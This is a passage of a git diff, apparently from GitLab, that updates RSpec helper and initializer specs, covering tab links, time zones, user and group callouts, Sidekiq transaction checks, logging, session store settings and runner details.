it 'creates a tab with block output' do
- expect(gl_tab_link_to('/url') { 'block content' }).to match(/block content/)
+ expect(helper.gl_tab_link_to('/url') { 'block content' }).to match(/block content/)
end
it 'creates a tab with custom classes for enclosing list item without content block provided' do
- expect(gl_tab_link_to('Link', '/url', { tab_class: 'my-class' })).to match(/<li class=".*my-class.*"/)
+ expect(helper.gl_tab_link_to('Link', '/url', { tab_class: 'my-class' })).to match(/<li class=".*my-class.*"/)
end
it 'creates a tab with custom classes for enclosing list item with content block provided' do
- expect(gl_tab_link_to('/url', { tab_class: 'my-class' }) { 'Link' }).to match(/<li class=".*my-class.*"/)
+ expect(helper.gl_tab_link_to('/url', { tab_class: 'my-class' }) { 'Link' }).to match(/<li class=".*my-class.*"/)
end
it 'creates a tab with custom classes for anchor element' do
- expect(gl_tab_link_to('Link', '/url', { class: 'my-class' })).to match(/<a class=".*my-class.*"/)
+ expect(helper.gl_tab_link_to('Link', '/url', { class: 'my-class' })).to match(/<a class=".*my-class.*"/)
end
it 'creates an active tab with item_active = true' do
- expect(gl_tab_link_to('Link', '/url', { item_active: true })).to match(/<a class=".*active gl-tab-nav-item-active gl-tab-nav-item-active-indigo.*"/)
+ expect(helper.gl_tab_link_to('Link', '/url', { item_active: true })).to match(/<a class=".*active gl-tab-nav-item-active gl-tab-nav-item-active-indigo.*"/)
end
context 'when on the active page' do
before do
- allow(self).to receive(:current_page?).and_return(true)
+ allow(helper).to receive(:current_page?).and_return(true)
end
it 'creates an active tab' do
- expect(gl_tab_link_to('Link', '/url')).to match(/<a class=".*active gl-tab-nav-item-active gl-tab-nav-item-active-indigo.*"/)
+ expect(helper.gl_tab_link_to('Link', '/url')).to match(/<a class=".*active gl-tab-nav-item-active gl-tab-nav-item-active-indigo.*"/)
end
it 'creates an inactive tab with item_active = false' do
- expect(gl_tab_link_to('Link', '/url', { item_active: false })).not_to match(/<a class=".*active.*"/)
+ expect(helper.gl_tab_link_to('Link', '/url', { item_active: false })).not_to match(/<a class=".*active.*"/)
end
end
end
@@ -72,18 +68,18 @@ RSpec.describe TabHelper do
before do
allow(controller).to receive(:controller_name).and_return('foo')
- allow(self).to receive(:action_name).and_return('foo')
+ allow(helper).to receive(:action_name).and_return('foo')
end
context 'with the content of the li' do
it 'captures block output' do
- expect(nav_link { "Testing Blocks" }).to match(/Testing Blocks/)
+ expect(helper.nav_link { "Testing Blocks" }).to match(/Testing Blocks/)
end
end
it 'passes extra html options to the list element' do
- expect(nav_link(action: :foo, html_options: { class: 'home' })).to match(/<li class="home active">/)
- expect(nav_link(html_options: { class: 'active' })).to match(/<li class="active">/)
+ expect(helper.nav_link(action: :foo, html_options: { class: 'home' })).to match(/<li class="home active">/)
+ expect(helper.nav_link(html_options: { class: 'active' })).to match(/<li class="active">/)
end
where(:controller_param, :action_param, :path_param, :active) do
@@ -120,13 +116,26 @@ RSpec.describe TabHelper do
with_them do
specify do
- result = nav_link(controller: controller_param, action: action_param, path: path_param)
+ result = helper.nav_link(controller: controller_param, action: action_param, path: path_param)
- if active
- expect(result).to match(/active/)
- else
- expect(result).not_to match(/active/)
- end
+ expect(result.include?('active')).to eq(active)
+ end
+ end
+
+ where(:page, :excluded_page, :active) do
+ nil | nil | false
+ '_some_page_' | nil | true
+ '_some_page_' | '_excluded_page_' | true
+ '_some_page_' | '_some_page_' | false
+ end
+
+ with_them do
+ specify do
+ allow(helper).to receive(:route_matches_pages?).and_return(page.present?, page == excluded_page)
+
+ result = helper.nav_link(page: page, exclude_page: excluded_page)
+
+ expect(result.include?('active')).to eq(active)
end
end
@@ -147,13 +156,9 @@ RSpec.describe TabHelper do
with_them do
specify do
- result = nav_link(controller: controller_param, action: action_param, path: path_param)
+ result = helper.nav_link(controller: controller_param, action: action_param, path: path_param)
- if active
- expect(result).to match(/active/)
- else
- expect(result).not_to match(/active/)
- end
+ expect(result.include?('active')).to eq(active)
end
end
end
@@ -161,18 +166,24 @@ RSpec.describe TabHelper do
describe 'gl_tab_counter_badge' do
it 'creates a tab counter badge' do
- expect(gl_tab_counter_badge(1)).to eq('<span class="badge badge-muted badge-pill gl-badge sm gl-tab-counter-badge">1</span>')
+ expect(helper.gl_tab_counter_badge(1)).to eq(
+ '<span class="gl-badge badge badge-pill badge-muted sm gl-tab-counter-badge">1</span>'
+ )
end
context 'with extra classes' do
it 'creates a tab counter badge with the correct class attribute' do
- expect(gl_tab_counter_badge(1, { class: 'js-test' })).to eq('<span class="js-test badge badge-muted badge-pill gl-badge sm gl-tab-counter-badge">1</span>')
+ expect(helper.gl_tab_counter_badge(1, { class: 'js-test' })).to eq(
+ '<span class="gl-badge badge badge-pill badge-muted sm gl-tab-counter-badge js-test">1</span>'
+ )
end
end
context 'with data attributes' do
it 'creates a tab counter badge with the data attributes' do
- expect(gl_tab_counter_badge(1, { data: { some_attribute: 'foo' } })).to eq('<span class="badge badge-muted badge-pill gl-badge sm gl-tab-counter-badge" data-some-attribute="foo">1</span>')
+ expect(helper.gl_tab_counter_badge(1, { data: { some_attribute: 'foo' } })).to eq(
+ '<span data-some-attribute="foo" class="gl-badge badge badge-pill badge-muted sm gl-tab-counter-badge">1</span>'
+ )
end
end
end
diff --git a/spec/helpers/time_zone_helper_spec.rb b/spec/helpers/time_zone_helper_spec.rb
index 006fae5b814..e8d96ee0700 100644
--- a/spec/helpers/time_zone_helper_spec.rb
+++ b/spec/helpers/time_zone_helper_spec.rb
@@ -30,6 +30,30 @@ RSpec.describe TimeZoneHelper, :aggregate_failures do
end
end
+ context 'with abbr format' do
+ subject(:timezone_data) { helper.timezone_data(format: :abbr) }
+
+ it 'matches schema' do
+ expect(timezone_data).not_to be_empty
+
+ timezone_data.each_with_index do |timezone_hash, i|
+ expect(timezone_hash.keys).to contain_exactly(
+ :identifier,
+ :abbr
+ ), "Failed at index #{i}"
+ end
+ end
+
+ it 'formats for display' do
+ tz = ActiveSupport::TimeZone.all[0]
+
+ expect(timezone_data[0]).to eq(
+ identifier: tz.tzinfo.identifier,
+ abbr: tz.tzinfo.strftime('%Z')
+ )
+ end
+ end
+
context 'with full format' do
subject(:timezone_data) { helper.timezone_data(format: :full) }
@@ -64,7 +88,7 @@ RSpec.describe TimeZoneHelper, :aggregate_failures do
subject(:timezone_data) { helper.timezone_data(format: :unknown) }
it 'raises an exception' do
- expect { timezone_data }.to raise_error ArgumentError, 'Invalid format :unknown. Valid formats are :short, :full.'
+ expect { timezone_data }.to raise_error ArgumentError, 'Invalid format :unknown. Valid formats are :short, :abbr, :full.'
end
end
end
@@ -101,7 +125,7 @@ RSpec.describe TimeZoneHelper, :aggregate_failures do
end
end
- describe '#local_time_instance' do
+ describe '#local_timezone_instance' do
let_it_be(:timezone) { 'UTC' }
before do
@@ -110,25 +134,25 @@ RSpec.describe TimeZoneHelper, :aggregate_failures do
context 'when timezone is `nil`' do
it 'returns the system timezone instance' do
- expect(helper.local_time_instance(nil).name).to eq(timezone)
+ expect(helper.local_timezone_instance(nil).name).to eq(timezone)
end
end
context 'when timezone is blank' do
it 'returns the system timezone instance' do
- expect(helper.local_time_instance('').name).to eq(timezone)
+ expect(helper.local_timezone_instance('').name).to eq(timezone)
end
end
context 'when a valid timezone is passed' do
it 'returns the local time instance' do
- expect(helper.local_time_instance('America/Los_Angeles').name).to eq('America/Los_Angeles')
+ expect(helper.local_timezone_instance('America/Los_Angeles').name).to eq('America/Los_Angeles')
end
end
context 'when an invalid timezone is passed' do
it 'returns the system timezone instance' do
- expect(helper.local_time_instance('Foo/Bar').name).to eq(timezone)
+ expect(helper.local_timezone_instance('Foo/Bar').name).to eq(timezone)
end
end
end
diff --git a/spec/helpers/user_callouts_helper_spec.rb b/spec/helpers/user_callouts_helper_spec.rb
deleted file mode 100644
index 7abc67e29a4..00000000000
--- a/spec/helpers/user_callouts_helper_spec.rb
+++ /dev/null
@@ -1,315 +0,0 @@
-# frozen_string_literal: true
-
-require "spec_helper"
-
-RSpec.describe UserCalloutsHelper do
- let_it_be(:user, refind: true) { create(:user) }
-
- before do
- allow(helper).to receive(:current_user).and_return(user)
- end
-
- describe '.show_gke_cluster_integration_callout?' do
- let_it_be(:project) { create(:project) }
-
- subject { helper.show_gke_cluster_integration_callout?(project) }
-
- context 'when user can create a cluster' do
- before do
- allow(helper).to receive(:can?).with(anything, :create_cluster, anything)
- .and_return(true)
- end
-
- context 'when user has not dismissed' do
- before do
- allow(helper).to receive(:user_dismissed?).and_return(false)
- end
-
- context 'when active_nav_link is in the operations section' do
- before do
- allow(helper).to receive(:active_nav_link?).and_return(true)
- end
-
- it { is_expected.to be true }
- end
-
- context 'when active_nav_link is not in the operations section' do
- before do
- allow(helper).to receive(:active_nav_link?).and_return(false)
- end
-
- it { is_expected.to be false }
- end
- end
-
- context 'when user dismissed' do
- before do
- allow(helper).to receive(:user_dismissed?).and_return(true)
- end
-
- it { is_expected.to be false }
- end
- end
-
- context 'when user can not create a cluster' do
- before do
- allow(helper).to receive(:can?).with(anything, :create_cluster, anything)
- .and_return(false)
- end
-
- it { is_expected.to be false }
- end
- end
-
- describe '.show_customize_homepage_banner?' do
- subject { helper.show_customize_homepage_banner? }
-
- context 'when user has not dismissed' do
- before do
- allow(helper).to receive(:user_dismissed?).with(described_class::CUSTOMIZE_HOMEPAGE) { false }
- end
-
- context 'when user is on the default dashboard' do
- it { is_expected.to be true }
- end
-
- context 'when user is not on the default dashboard' do
- before do
- user.dashboard = 'stars'
- end
-
- it { is_expected.to be false }
- end
- end
-
- context 'when user dismissed' do
- before do
- allow(helper).to receive(:user_dismissed?).with(described_class::CUSTOMIZE_HOMEPAGE) { true }
- end
-
- it { is_expected.to be false }
- end
- end
-
- describe '.render_flash_user_callout' do
- it 'renders the flash_user_callout partial' do
- expect(helper).to receive(:render)
- .with(/flash_user_callout/, flash_type: :warning, message: 'foo', feature_name: 'bar')
-
- helper.render_flash_user_callout(:warning, 'foo', 'bar')
- end
- end
-
- describe '.show_feature_flags_new_version?' do
- subject { helper.show_feature_flags_new_version? }
-
- let(:user) { create(:user) }
-
- before do
- allow(helper).to receive(:current_user).and_return(user)
- end
-
- context 'when the feature flags new version info has not been dismissed' do
- it { is_expected.to be_truthy }
- end
-
- context 'when the feature flags new version has been dismissed' do
- before do
- create(:user_callout, user: user, feature_name: described_class::FEATURE_FLAGS_NEW_VERSION)
- end
-
- it { is_expected.to be_falsy }
- end
- end
-
- describe '.show_registration_enabled_user_callout?' do
- let_it_be(:admin) { create(:user, :admin) }
-
- subject { helper.show_registration_enabled_user_callout? }
-
- context 'when on gitlab.com' do
- before do
- allow(::Gitlab).to receive(:com?).and_return(true)
- allow(helper).to receive(:current_user).and_return(admin)
- stub_application_setting(signup_enabled: true)
- allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
- end
-
- it { is_expected.to be false }
- end
-
- context 'when `current_user` is not an admin' do
- before do
- allow(::Gitlab).to receive(:com?).and_return(false)
- allow(helper).to receive(:current_user).and_return(user)
- stub_application_setting(signup_enabled: true)
- allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
- end
-
- it { is_expected.to be false }
- end
-
- context 'when signup is disabled' do
- before do
- allow(::Gitlab).to receive(:com?).and_return(false)
- allow(helper).to receive(:current_user).and_return(admin)
- stub_application_setting(signup_enabled: false)
- allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
- end
-
- it { is_expected.to be false }
- end
-
- context 'when user has dismissed callout' do
- before do
- allow(::Gitlab).to receive(:com?).and_return(false)
- allow(helper).to receive(:current_user).and_return(admin)
- stub_application_setting(signup_enabled: true)
- allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { true }
- end
-
- it { is_expected.to be false }
- end
-
- context 'when not gitlab.com, `current_user` is an admin, signup is enabled, and user has not dismissed callout' do
- before do
- allow(::Gitlab).to receive(:com?).and_return(false)
- allow(helper).to receive(:current_user).and_return(admin)
- stub_application_setting(signup_enabled: true)
- allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
- end
-
- it { is_expected.to be true }
- end
- end
-
- describe '.show_unfinished_tag_cleanup_callout?' do
- subject { helper.show_unfinished_tag_cleanup_callout? }
-
- before do
- allow(helper).to receive(:user_dismissed?).with(described_class::UNFINISHED_TAG_CLEANUP_CALLOUT) { dismissed }
- end
-
- context 'when user has not dismissed' do
- let(:dismissed) { false }
-
- it { is_expected.to be true }
- end
-
- context 'when user dismissed' do
- let(:dismissed) { true }
-
- it { is_expected.to be false }
- end
- end
-
- describe '.show_invite_banner?' do
- let_it_be(:group) { create(:group) }
-
- subject { helper.show_invite_banner?(group) }
-
- context 'when user has the admin ability for the group' do
- before do
- group.add_owner(user)
- end
-
- context 'when the invite_members_banner has not been dismissed' do
- it { is_expected.to eq(true) }
-
- context 'when the group was just created' do
- before do
- flash[:notice] = "Group #{group.name} was successfully created"
- end
-
- it { is_expected.to eq(false) }
- end
-
- context 'with concerning multiple members' do
- let_it_be(:user_2) { create(:user) }
-
- context 'on current group' do
- before do
- group.add_guest(user_2)
- end
-
- it { is_expected.to eq(false) }
- end
-
- context 'on current group that is a subgroup' do
- let_it_be(:subgroup) { create(:group, parent: group) }
-
- subject { helper.show_invite_banner?(subgroup) }
-
- context 'with only one user on parent and this group' do
- it { is_expected.to eq(true) }
- end
-
- context 'when another user is on this group' do
- before do
- subgroup.add_guest(user_2)
- end
-
- it { is_expected.to eq(false) }
- end
-
- context 'when another user is on the parent group' do
- before do
- group.add_guest(user_2)
- end
-
- it { is_expected.to eq(false) }
- end
- end
- end
- end
-
- context 'when the invite_members_banner has been dismissed' do
- before do
- create(:group_callout,
- user: user,
- group: group,
- feature_name: described_class::INVITE_MEMBERS_BANNER)
- end
-
- it { is_expected.to eq(false) }
- end
- end
-
- context 'when user does not have admin ability for the group' do
- it { is_expected.to eq(false) }
- end
- end
-
- describe '.show_security_newsletter_user_callout?' do
- let_it_be(:admin) { create(:user, :admin) }
-
- subject { helper.show_security_newsletter_user_callout? }
-
- context 'when `current_user` is not an admin' do
- before do
- allow(helper).to receive(:current_user).and_return(user)
- allow(helper).to receive(:user_dismissed?).with(described_class::SECURITY_NEWSLETTER_CALLOUT) { false }
- end
-
- it { is_expected.to be false }
- end
-
- context 'when user has dismissed callout' do
- before do
- allow(helper).to receive(:current_user).and_return(admin)
- allow(helper).to receive(:user_dismissed?).with(described_class::SECURITY_NEWSLETTER_CALLOUT) { true }
- end
-
- it { is_expected.to be false }
- end
-
- context 'when `current_user` is an admin and user has not dismissed callout' do
- before do
- allow(helper).to receive(:current_user).and_return(admin)
- allow(helper).to receive(:user_dismissed?).with(described_class::SECURITY_NEWSLETTER_CALLOUT) { false }
- end
-
- it { is_expected.to be true }
- end
- end
-end
diff --git a/spec/helpers/users/callouts_helper_spec.rb b/spec/helpers/users/callouts_helper_spec.rb
new file mode 100644
index 00000000000..85e11c2ed3b
--- /dev/null
+++ b/spec/helpers/users/callouts_helper_spec.rb
@@ -0,0 +1,208 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe Users::CalloutsHelper do
+ let_it_be(:user, refind: true) { create(:user) }
+
+ before do
+ allow(helper).to receive(:current_user).and_return(user)
+ end
+
+ describe '.show_gke_cluster_integration_callout?' do
+ let_it_be(:project) { create(:project) }
+
+ subject { helper.show_gke_cluster_integration_callout?(project) }
+
+ context 'when user can create a cluster' do
+ before do
+ allow(helper).to receive(:can?).with(anything, :create_cluster, anything)
+ .and_return(true)
+ end
+
+ context 'when user has not dismissed' do
+ before do
+ allow(helper).to receive(:user_dismissed?).and_return(false)
+ end
+
+ context 'when active_nav_link is in the operations section' do
+ before do
+ allow(helper).to receive(:active_nav_link?).and_return(true)
+ end
+
+ it { is_expected.to be true }
+ end
+
+ context 'when active_nav_link is not in the operations section' do
+ before do
+ allow(helper).to receive(:active_nav_link?).and_return(false)
+ end
+
+ it { is_expected.to be false }
+ end
+ end
+
+ context 'when user dismissed' do
+ before do
+ allow(helper).to receive(:user_dismissed?).and_return(true)
+ end
+
+ it { is_expected.to be false }
+ end
+ end
+
+ context 'when user can not create a cluster' do
+ before do
+ allow(helper).to receive(:can?).with(anything, :create_cluster, anything)
+ .and_return(false)
+ end
+
+ it { is_expected.to be false }
+ end
+ end
+
+ describe '.render_flash_user_callout' do
+ it 'renders the flash_user_callout partial' do
+ expect(helper).to receive(:render)
+ .with(/flash_user_callout/, flash_type: :warning, message: 'foo', feature_name: 'bar')
+
+ helper.render_flash_user_callout(:warning, 'foo', 'bar')
+ end
+ end
+
+ describe '.show_feature_flags_new_version?' do
+ subject { helper.show_feature_flags_new_version? }
+
+ let(:user) { create(:user) }
+
+ before do
+ allow(helper).to receive(:current_user).and_return(user)
+ end
+
+ context 'when the feature flags new version info has not been dismissed' do
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when the feature flags new version has been dismissed' do
+ before do
+ create(:callout, user: user, feature_name: described_class::FEATURE_FLAGS_NEW_VERSION)
+ end
+
+ it { is_expected.to be_falsy }
+ end
+ end
+
+ describe '.show_registration_enabled_user_callout?' do
+ let_it_be(:admin) { create(:user, :admin) }
+
+ subject { helper.show_registration_enabled_user_callout? }
+
+ context 'when on gitlab.com' do
+ before do
+ allow(::Gitlab).to receive(:com?).and_return(true)
+ allow(helper).to receive(:current_user).and_return(admin)
+ stub_application_setting(signup_enabled: true)
+ allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
+ end
+
+ it { is_expected.to be false }
+ end
+
+ context 'when `current_user` is not an admin' do
+ before do
+ allow(::Gitlab).to receive(:com?).and_return(false)
+ allow(helper).to receive(:current_user).and_return(user)
+ stub_application_setting(signup_enabled: true)
+ allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
+ end
+
+ it { is_expected.to be false }
+ end
+
+ context 'when signup is disabled' do
+ before do
+ allow(::Gitlab).to receive(:com?).and_return(false)
+ allow(helper).to receive(:current_user).and_return(admin)
+ stub_application_setting(signup_enabled: false)
+ allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
+ end
+
+ it { is_expected.to be false }
+ end
+
+ context 'when user has dismissed callout' do
+ before do
+ allow(::Gitlab).to receive(:com?).and_return(false)
+ allow(helper).to receive(:current_user).and_return(admin)
+ stub_application_setting(signup_enabled: true)
+ allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { true }
+ end
+
+ it { is_expected.to be false }
+ end
+
+ context 'when not gitlab.com, `current_user` is an admin, signup is enabled, and user has not dismissed callout' do
+ before do
+ allow(::Gitlab).to receive(:com?).and_return(false)
+ allow(helper).to receive(:current_user).and_return(admin)
+ stub_application_setting(signup_enabled: true)
+ allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
+ end
+
+ it { is_expected.to be true }
+ end
+ end
+
+ describe '.show_unfinished_tag_cleanup_callout?' do
+ subject { helper.show_unfinished_tag_cleanup_callout? }
+
+ before do
+ allow(helper).to receive(:user_dismissed?).with(described_class::UNFINISHED_TAG_CLEANUP_CALLOUT) { dismissed }
+ end
+
+ context 'when user has not dismissed' do
+ let(:dismissed) { false }
+
+ it { is_expected.to be true }
+ end
+
+ context 'when user dismissed' do
+ let(:dismissed) { true }
+
+ it { is_expected.to be false }
+ end
+ end
+
+ describe '.show_security_newsletter_user_callout?' do
+ let_it_be(:admin) { create(:user, :admin) }
+
+ subject { helper.show_security_newsletter_user_callout? }
+
+ context 'when `current_user` is not an admin' do
+ before do
+ allow(helper).to receive(:current_user).and_return(user)
+ allow(helper).to receive(:user_dismissed?).with(described_class::SECURITY_NEWSLETTER_CALLOUT) { false }
+ end
+
+ it { is_expected.to be false }
+ end
+
+ context 'when user has dismissed callout' do
+ before do
+ allow(helper).to receive(:current_user).and_return(admin)
+ allow(helper).to receive(:user_dismissed?).with(described_class::SECURITY_NEWSLETTER_CALLOUT) { true }
+ end
+
+ it { is_expected.to be false }
+ end
+
+ context 'when `current_user` is an admin and user has not dismissed callout' do
+ before do
+ allow(helper).to receive(:current_user).and_return(admin)
+ allow(helper).to receive(:user_dismissed?).with(described_class::SECURITY_NEWSLETTER_CALLOUT) { false }
+ end
+
+ it { is_expected.to be true }
+ end
+ end
+end
diff --git a/spec/helpers/users/group_callouts_helper_spec.rb b/spec/helpers/users/group_callouts_helper_spec.rb
new file mode 100644
index 00000000000..da67c4921b3
--- /dev/null
+++ b/spec/helpers/users/group_callouts_helper_spec.rb
@@ -0,0 +1,87 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe Users::GroupCalloutsHelper do
+ let_it_be(:user, refind: true) { create(:user) }
+ let_it_be(:group) { create(:group) }
+
+ before do
+ allow(helper).to receive(:current_user).and_return(user)
+ end
+
+ describe '.show_invite_banner?' do
+ subject { helper.show_invite_banner?(group) }
+
+ context 'when user has the admin ability for the group' do
+ before do
+ group.add_owner(user)
+ end
+
+ context 'when the invite_members_banner has not been dismissed' do
+ it { is_expected.to eq(true) }
+
+ context 'when the group was just created' do
+ before do
+ flash[:notice] = "Group #{group.name} was successfully created"
+ end
+
+ it { is_expected.to eq(false) }
+ end
+
+ context 'with concerning multiple members' do
+ let_it_be(:user_2) { create(:user) }
+
+ context 'on current group' do
+ before do
+ group.add_guest(user_2)
+ end
+
+ it { is_expected.to eq(false) }
+ end
+
+ context 'on current group that is a subgroup' do
+ let_it_be(:subgroup) { create(:group, parent: group) }
+
+ subject { helper.show_invite_banner?(subgroup) }
+
+ context 'with only one user on parent and this group' do
+ it { is_expected.to eq(true) }
+ end
+
+ context 'when another user is on this group' do
+ before do
+ subgroup.add_guest(user_2)
+ end
+
+ it { is_expected.to eq(false) }
+ end
+
+ context 'when another user is on the parent group' do
+ before do
+ group.add_guest(user_2)
+ end
+
+ it { is_expected.to eq(false) }
+ end
+ end
+ end
+ end
+
+ context 'when the invite_members_banner has been dismissed' do
+ before do
+ create(:group_callout,
+ user: user,
+ group: group,
+ feature_name: described_class::INVITE_MEMBERS_BANNER)
+ end
+
+ it { is_expected.to eq(false) }
+ end
+ end
+
+ context 'when user does not have admin ability for the group' do
+ it { is_expected.to eq(false) }
+ end
+ end
+end
diff --git a/spec/helpers/version_check_helper_spec.rb b/spec/helpers/version_check_helper_spec.rb
index 6d849d0720e..bd52eda8a65 100644
--- a/spec/helpers/version_check_helper_spec.rb
+++ b/spec/helpers/version_check_helper_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe VersionCheckHelper do
before do
stub_rails_env('production')
allow(Gitlab::CurrentSettings.current_application_settings).to receive(:version_check_enabled) { true }
- allow(VersionCheck).to receive(:url) { 'https://version.host.com/check.svg?gitlab_info=xxx' }
+ allow(VersionCheck).to receive(:image_url) { 'https://version.host.com/check.svg?gitlab_info=xxx' }
end
it 'returns an image tag' do
@@ -27,7 +27,7 @@ RSpec.describe VersionCheckHelper do
.to match(/class="js-version-status-badge lazy"/)
end
- it 'has a VersionCheck url as the src' do
+ it 'has a VersionCheck image_url as the src' do
expect(helper.version_status_badge)
.to include(%{src="https://version.host.com/check.svg?gitlab_info=xxx"})
end
diff --git a/spec/initializers/forbid_sidekiq_in_transactions_spec.rb b/spec/initializers/forbid_sidekiq_in_transactions_spec.rb
new file mode 100644
index 00000000000..6cd15d37ad4
--- /dev/null
+++ b/spec/initializers/forbid_sidekiq_in_transactions_spec.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Sidekiq::Worker' do
+ let(:worker_class) do
+ Class.new do
+ include Sidekiq::Worker
+
+ def perform
+ end
+ end
+ end
+
+ it 'allows sidekiq worker outside of a transaction' do
+ expect { worker_class.perform_async }.not_to raise_error
+ end
+
+ it 'forbids queue sidekiq worker in a transaction' do
+ Project.transaction do
+ expect { worker_class.perform_async }.to raise_error(Sidekiq::Worker::EnqueueFromTransactionError)
+ end
+ end
+
+ it 'allows sidekiq worker in a transaction if skipped' do
+ Sidekiq::Worker.skipping_transaction_check do
+ Project.transaction do
+ expect { worker_class.perform_async }.not_to raise_error
+ end
+ end
+ end
+
+ it 'forbids queue sidekiq worker in a Ci::ApplicationRecord transaction' do
+ Ci::Pipeline.transaction do
+ expect { worker_class.perform_async }.to raise_error(Sidekiq::Worker::EnqueueFromTransactionError)
+ end
+ end
+end
diff --git a/spec/initializers/lograge_spec.rb b/spec/initializers/lograge_spec.rb
index 9e58fa289ac..0a794e8ebcd 100644
--- a/spec/initializers/lograge_spec.rb
+++ b/spec/initializers/lograge_spec.rb
@@ -157,6 +157,16 @@ RSpec.describe 'lograge', type: :request do
expect(log_data['exception.message']).to eq('bad request')
expect(log_data['exception.backtrace']).to eq(Gitlab::BacktraceCleaner.clean_backtrace(backtrace))
end
+
+ context 'with an ActiveRecord::StatementInvalid' do
+ let(:exception) { ActiveRecord::StatementInvalid.new(sql: 'SELECT "users".* FROM "users" WHERE "users"."id" = 1 AND "users"."foo" = $1') }
+
+ it 'adds the SQL query to the log' do
+ subscriber.process_action(event)
+
+ expect(log_data['exception.sql']).to eq('SELECT "users".* FROM "users" WHERE "users"."id" = $2 AND "users"."foo" = $1')
+ end
+ end
end
describe 'with etag_route' do
diff --git a/spec/initializers/session_store_spec.rb b/spec/initializers/session_store_spec.rb
index 3da52ccc981..db90b335dc9 100644
--- a/spec/initializers/session_store_spec.rb
+++ b/spec/initializers/session_store_spec.rb
@@ -10,25 +10,37 @@ RSpec.describe 'Session initializer for GitLab' do
end
describe 'config#session_store' do
- context 'when the GITLAB_REDIS_STORE_WITH_SESSION_STORE env is not set' do
+ context 'when the GITLAB_USE_REDIS_SESSIONS_STORE env is not set' do
before do
- stub_env('GITLAB_REDIS_STORE_WITH_SESSION_STORE', nil)
+ stub_env('GITLAB_USE_REDIS_SESSIONS_STORE', nil)
end
- it 'initialized as a redis_store with a proper Redis::Store instance' do
+ it 'initialized with Multistore as ENV var defaults to true' do
expect(subject).to receive(:session_store).with(:redis_store, a_hash_including(redis_store: kind_of(::Redis::Store)))
load_session_store
end
end
- context 'when the GITLAB_REDIS_STORE_WITH_SESSION_STORE env is disabled' do
+ context 'when the GITLAB_USE_REDIS_SESSIONS_STORE env is disabled' do
before do
- stub_env('GITLAB_REDIS_STORE_WITH_SESSION_STORE', false)
+ stub_env('GITLAB_USE_REDIS_SESSIONS_STORE', false)
end
it 'initialized as a redis_store with a proper servers configuration' do
- expect(subject).to receive(:session_store).with(:redis_store, a_hash_including(servers: kind_of(Hash)))
+ expect(subject).to receive(:session_store).with(:redis_store, a_hash_including(redis_store: kind_of(Redis::Store)))
+
+ load_session_store
+ end
+ end
+
+ context 'when the GITLAB_USE_REDIS_SESSIONS_STORE env is enabled' do
+ before do
+ stub_env('GITLAB_USE_REDIS_SESSIONS_STORE', true)
+ end
+
+ it 'initialized as a redis_store with a proper servers configuration' do
+ expect(subject).to receive(:session_store).with(:redis_store, a_hash_including(redis_store: kind_of(::Redis::Store)))
load_session_store
end
diff --git a/spec/initializers/validate_database_config_spec.rb b/spec/initializers/validate_database_config_spec.rb
index 99e4a4b36ee..209d9691350 100644
--- a/spec/initializers/validate_database_config_spec.rb
+++ b/spec/initializers/validate_database_config_spec.rb
@@ -14,6 +14,9 @@ RSpec.describe 'validate database config' do
end
before do
+ allow(File).to receive(:exist?).and_call_original
+ allow(File).to receive(:exist?).with(Rails.root.join("config/database_geo.yml")).and_return(false)
+
# The `AS::ConfigurationFile` calls `read` in `def initialize`
# thus we cannot use `expect_next_instance_of`
# rubocop:disable RSpec/AnyInstanceOf
diff --git a/spec/lib/after_commit_queue_spec.rb b/spec/lib/after_commit_queue_spec.rb
deleted file mode 100644
index ca383808bfc..00000000000
--- a/spec/lib/after_commit_queue_spec.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe AfterCommitQueue do
- it 'runs after transaction is committed' do
- called = false
- test_proc = proc { called = true }
-
- project = build(:project)
- project.run_after_commit(&test_proc)
-
- project.save
-
- expect(called).to be true
- end
-end
diff --git a/spec/lib/api/ci/helpers/runner_helpers_spec.rb b/spec/lib/api/ci/helpers/runner_helpers_spec.rb
index c6638bea59e..c4d740f0adc 100644
--- a/spec/lib/api/ci/helpers/runner_helpers_spec.rb
+++ b/spec/lib/api/ci/helpers/runner_helpers_spec.rb
@@ -38,6 +38,7 @@ RSpec.describe API::Ci::Helpers::Runner do
let(:revision) { '10.0' }
let(:platform) { 'test' }
let(:architecture) { 'arm' }
+ let(:executor) { 'shell' }
let(:config) { { 'gpus' => 'all' } }
let(:runner_params) do
{
@@ -48,6 +49,7 @@ RSpec.describe API::Ci::Helpers::Runner do
'revision' => revision,
'platform' => platform,
'architecture' => architecture,
+ 'executor' => executor,
'config' => config,
'ignored' => 1
}
@@ -57,12 +59,13 @@ RSpec.describe API::Ci::Helpers::Runner do
subject(:details) { runner_helper.get_runner_details_from_request }
it 'extracts the runner details', :aggregate_failures do
- expect(details.keys).to match_array(%w(name version revision platform architecture config ip_address))
+ expect(details.keys).to match_array(%w(name version revision platform architecture executor config ip_address))
expect(details['name']).to eq(name)
expect(details['version']).to eq(version)
expect(details['revision']).to eq(revision)
expect(details['platform']).to eq(platform)
expect(details['architecture']).to eq(architecture)
+ expect(details['executor']).to eq(executor)
expect(details['config']).to eq(config)
expect(details['ip_address']).to eq(ip_address)
end
diff --git a/spec/lib/api/entities/changelog_spec.rb b/spec/lib/api/entities/changelog_spec.rb
new file mode 100644
